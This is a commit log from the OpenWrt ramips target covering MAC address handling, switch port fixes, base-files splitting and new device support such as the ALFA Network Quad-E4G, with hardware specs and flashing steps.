Adrian Schmutzler
68ef534989 ramips: add label MAC address for Mikrotik RBM33G
The device label contains:
E01: B8:69:F4:xx:xx:07
E02: B8:69:F4:xx:xx:09

The first value corresponds to the address set in hard_config 0x10.

That one is taken for the label MAC address.

Thanks to Martin Schiller for retrieving the information.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-12-12 13:12:11 +01:00
Adrian Schmutzler
ed975a58e4 ramips: mt7621: use flash location for wan_mac in 02_network
This uses the flash locations instead of eth0 MAC address to
calculate MAC address increments for WAN.

The change will make the MAC address setup of a particular device
more obvious and removes the dependency of 02_network on the eth0
initialization.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-12-12 13:11:28 +01:00
Adrian Schmutzler
38866f275d ramips: remove wan_mac setup for evaluation boards
The evaluation boards do not set up a MAC address for eth0
in the first place, so it does not make sense to calculate a WAN
address from the random MAC used there.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-12-12 13:11:11 +01:00
Gabor Varga
a283b1788a ramips: fix switch port numbering for RT-AC65P/RT-AC85P
The switch LAN port numbers are in reversed order with original config.
With this patch they are fixed.

Port order checked on both devices.

Signed-off-by: Gabor Varga <vargagab@gmail.com>
[merged definitions into appropriate block, extended commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-12-11 23:00:32 +01:00
Martin Schiller
3a55c7935d ramips: fix number of LAN Ports for Mikrotik RBM33G
The Mikrotik RBM33G has only 2 LAN ports.

Signed-off-by: Martin Schiller <ms@dev.tdt.de>
[moved node in 02_network to maintain alphabetic sorting]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-12-08 00:20:21 +01:00
Piotr Dymacz
e68539aca4 ramips: add support for ALFA Network Quad-E4G
ALFA Network Quad-E4G is a universal Wi-Fi/4G platform, which offers
three miniPCIe (PCIe, USB 2.0, SIM) and a single M.2 B-key (dual-SIM,
USB 3.0) slots, RTC and five Gigabit Ethernet ports with PoE support.

Specification:

- MT7621A (880 MHz)
- 256/512 MB of RAM (DDR3)
- 16/32+ MB of FLASH (SPI NOR)
- optional second SPI flash (8-pin WSON/SOIC)
- 1x microSD (SDXC) flash card reader
- 5x 10/100/100 Mbps Ethernet, with passive PoE support (24 V) in LAN1
- optional 802.3at/af PoE module for WAN
- 3x miniPCIe slot (with PCIe and USB 2.0 buses, micro SIM and 5 V)
- 1x M.2/NGFF B-key 3042 (USB 3.0/2.0, mini + micro SIM)
- RTC (TI BQ32002, I2C bus) with backup battery (CR2032)
- external hardware watchdog (EM Microelectronic EM6324)
- 1x USB 2.0 Type-A
- 1x micro USB Type-B for system serial console (Holtek HT42B534)
- 11x LED (5 for Ethernet, 5 driven by GPIO, 1x power indicator)
- 3x button (reset, user1, user2)
- 1x I2C (4-pin, 2.54 mm pitch) header on PCB
- 4x SIM (6-pin, 2.00 mm pitch) headers on PCB
- 2x UART2/3 (4-pin, 2.54 mm pitch) headers on PCB
- 1x mechanical power switch
- 1x DC jack with lock (24 V)

Other:

- U-Boot selects default SIM slot, based on value of 'default_sim' env
  variable: '1' or unset -> SIM1 (mini), '2' -> SIM2 (micro). This board
  has additional logic circuit for M.2 SIM switching. The 'sim-select'
  will work only if both SIM slots are occupied. Otherwise, always slot
  with SIM inside is selected, no matter 'sim-select' value.
- U-Boot enables power in all three miniPCIe and M.2 slots before
  loading the kernel
- this board supports 'dual image' feature (controlled by 'dual_image'
  U-Boot environment variable)
- all three miniPCIe slots have additional 5 V supply on pins 47 and 49
- the board allows to install up to two oversized miniPCIe cards (vendor
  has dedicated MediaTek MT7615N/D cards for this board)
- this board has additional logic circuit controlling PERSTn pins inside
  miniPCIe slots. By default, PERSTn (GPIO19) is routed to all miniPCIe
  slots but setting GPIO22 to high allows PERSTn control per slot, using
  GPIO23-25 (value is inverted)

You can use the 'sysupgrade' image directly in vendor firmware which is
based on OpenWrt (make sure to not preserve settings - use 'sysupgrade
-n -F ...' command). Alternatively, use web recovery mode in U-Boot:

1. Power the device with reset button pressed, the modem LED will start
   blinking slowly and after ~3 seconds, when it starts blinking faster,
   you can release the button.
2. Setup static IP 192.168.1.2/24 on your PC.
3. Go to 192.168.1.1 in browser and upload 'sysupgrade' image.

Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
2019-11-14 01:37:54 +01:00
Adrian Schmutzler
f4c3cfc620 ramips: read label MAC address from flash instead of using phy0/phy1
This replaces all uses of $(cat /sys/class/ieee80211/phyX/macaddress)
by retrieval from the proper flash locations. This will make
02_network independent of WiFi setup again.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-11-13 12:51:38 +01:00
Adrian Schmutzler
1c321237c2 ramips: split further base-files across subtargets
As started in 19724e28c8 ("ramips: split base-files into
subtargets"), this moves some smaller left-over files to the
appropriate base-files folder of their subtarget:

- /etc/init.d/bootcount
- /etc/uci-defaults/04_led_migration

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-11-11 14:53:06 +01:00
Sungbo Eo
62b1559b56 ramips: improve support for WeVO 11AC NAS and W2914NS v2
- remove WAN port index
- load WAN MAC address directly from the flash
- provide label MAC address
- increase flash's SPI frequency to 80MHz
- add mt76 led nodes to make WiFi LEDs work
- drop unnecessary pinmux groups

The factory partition scheme for MAC addresses (verified on both devices):
0x4   : WiFi 2.4GHz (label_mac-9)
0x28  : unused
0x2e  : WAN (label_mac)
0x8004: WiFi 5GHz (label_mac-5)
0xe000: LAN (label_mac-1)
0xe006: unused

By improving flash speed,
`time dd if=/dev/mtdblock3 of=/dev/null bs=64k`
has been reduced from 14.51s to 3.11s.

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[rebased]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-11-06 14:31:32 +01:00
Adrian Schmutzler
d2b9333ea9 ramips: remove default case for MAC address assignment
So far, MAC address assignment in ramips has contained a default
case, which defined wan_mac = eth0 + 1 for _every_ device not
having an explicit case there.

This is not desirable, as many device supporters will just not
care or know about this definition, so another MAC address will be
introduced by accident. In some cases the wan_mac is assigned
although it is not needed, in other cases even addresses not
dedicated to the device will be used (e.g. wan_mac actually is
eth0 - 1, but during support nobody cared, so eth0 + 1 is used now,
which might actually belong to another device ...).

Thus, in this PR the former default case is converted to an
explicit case. This one comprises all devices not being accounted
for by other cases, reduced by those not having wan at all.
The big number of entries for this node might be another indication
that many of them wouldn't actually be there if there hadn't been
default wan_mac setup.

In exchange, the current "do nothing" case can be removed, as it
will be the new default case.

The devices being put in the newly created explicit case were
determined as follows:

1. Create a list of all devices based on the DTS files.

2. Remove all devices already having an explicit entry setting
   their address.

3. Remove all devices that only have lan set up in the first part
   of 02_network:

mt7620:
   - alfa-network,tube-e4g
   - asus,rp-n53
   - buffalo,wmr-300
   - comfast,cf-wr800n
   - edimax,ew-7476rpc
   - edimax,ew-7478ac
   - elecom,wrh-300cr
   - hnet,c108
   - kimax,u25awf-h1
   - kimax,u35wf
   - kingston,mlw221
   - kingston,mlwg2
   - microduino,microwrt
   - netgear,ex2700
   - netgear,ex3700
   - netgear,wn3000rp-v3
   - planex,cs-qr10
   - planex,mzk-ex300np
   - planex,mzk-ex750np
   - ravpower,wd03
   - sercomm,na930
   - yukai,bocco
   - zbtlink,zbt-cpe102
   - zte,q7

mt7621:
   - gnubee,gb-pc1
   - gnubee,gb-pc2
   - linksys,re6500
   - mikrotik,rbm11g
   - netgear,ex6150
   - thunder,timecloud
   - tplink,re350-v1
   - tplink,re650-v1

mt76x8:
   - alfa-network,awusfree1
   - d-team,pbr-d1
   - glinet,vixmini
   - vocore,vocore2-lite
   - tama,w06
   - tplink,tl-mr3020-v3
   - tplink,tl-wa801nd-v5
   - tplink,tl-wr802n-v4
   - tplink,tl-wr902ac-v3
   - vocore,vocore2
   - widora,neo-16m
   - widora,neo-32m

rt288x:
   - buffalo,wli-tx4-ag300n
   - dlink,dap-1522-a1

rt305x:
   - allnet,all0256n-4m
   - allnet,all0256n-8m
   - allnet,all5002
   - allnet,all5003
   - alphanetworks,asl26555-16m
   - alphanetworks,asl26555-8m
   - asus,wl-330n
   - aximcom,mr-102n
   - dlink,dcs-930
   - easyacc,wizard-8800
   - hame,mpr-a2
   - hootoo,ht-tm02
   - huawei,d105
   - intenso,memory2move
   - planex,mzk-dp150n
   - rt305x dlink,dcs-930l-b1
   - sparklan,wcr-150gn
   - tenda,3g150b
   - tenda,3g300m
   - tenda,w150m
   - trendnet,tew-638apb-v2
   - unbranded,a5-v11
   - vocore,vocore-16m
   - vocore,vocore-8m
   - wansview,ncs601w
   - zorlik,zl5900v2

rt3883:
   - loewe,wmdr-143n
   - omnima,hpm

4. Put the remaining devices in the new case.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-11-06 13:17:25 +01:00
Sungbo Eo
763914ef1b ramips: improve netis WF-2881 support
This patch does the following:

1. remove u-boot-env partition
   Stock bootloader saves env variables at 0x80000 in flash,
   and there is nothing stored at 0x30000.
   By merging the partition "u-boot-env" with "u-boot",
   the partition table becomes the same as used in stock firmware:
   00000000-00080000: "Bootloader"
   00080000-00100000: "Config"
   00100000-00140000: "Factory"
   00140000-07f80000: "Kernel"

2. fix LAN/WAN MAC addresses and provide label MAC address
   Ethernet MAC addresses are stored in factory partition at:
   0xe000: LAN (label_mac)
   0xe006: WAN (label_mac+1)

3. fix LAN port order
   WF-2881 LAN ports are in reverse order of switch ports.

4. fix WiFi LEDs
   mt76 led nodes are added to make WiFi LEDs work.
   On top of this, mt76 node names are changed to more generic ones,
   and compatible strings are also added.

5. fix pinmux groups
   uart3 and uart2 pins are used as button and led, but jtag pins are not.

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
2019-11-06 00:27:55 +01:00
Adrian Schmutzler
19724e28c8 ramips: split base-files into subtargets
While most of the target's contents are split into subtargets, the
base-files are maintained for the target as a whole.

However, OpenWrt already implements a mechanism that will use (and
even prefer) files in the subtargets' directories. This can be
exploited to make several scripts subtarget-specific and thus save
some space.

In certain cases, keeping files in parent (=target) base-files was
more convenient, and thus no splitting was performed for those.

Note that this will increase overall code lines, but reduce code
per subtarget.

base-files ipk size reduction:
master (mt7621)   60958 B
split (mt7620)    46358 B (- 14.3 kiB)
split (mt7621)    48759 B (- 11.9 kiB)
split (mt76x8)    44948 B (- 15.6 kiB)
split (rt288x)    43508 B (- 17.0 kiB)
split (rt305x)    45616 B (- 15.0 kiB)
split (rt3883)    44176 B (- 16.4 kiB)

Run-tested on:
GL.iNet GL-MT300N-V2 (mt76x8)
D-Link DWR-116 (mt7620)

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
2019-11-03 00:26:17 +01:00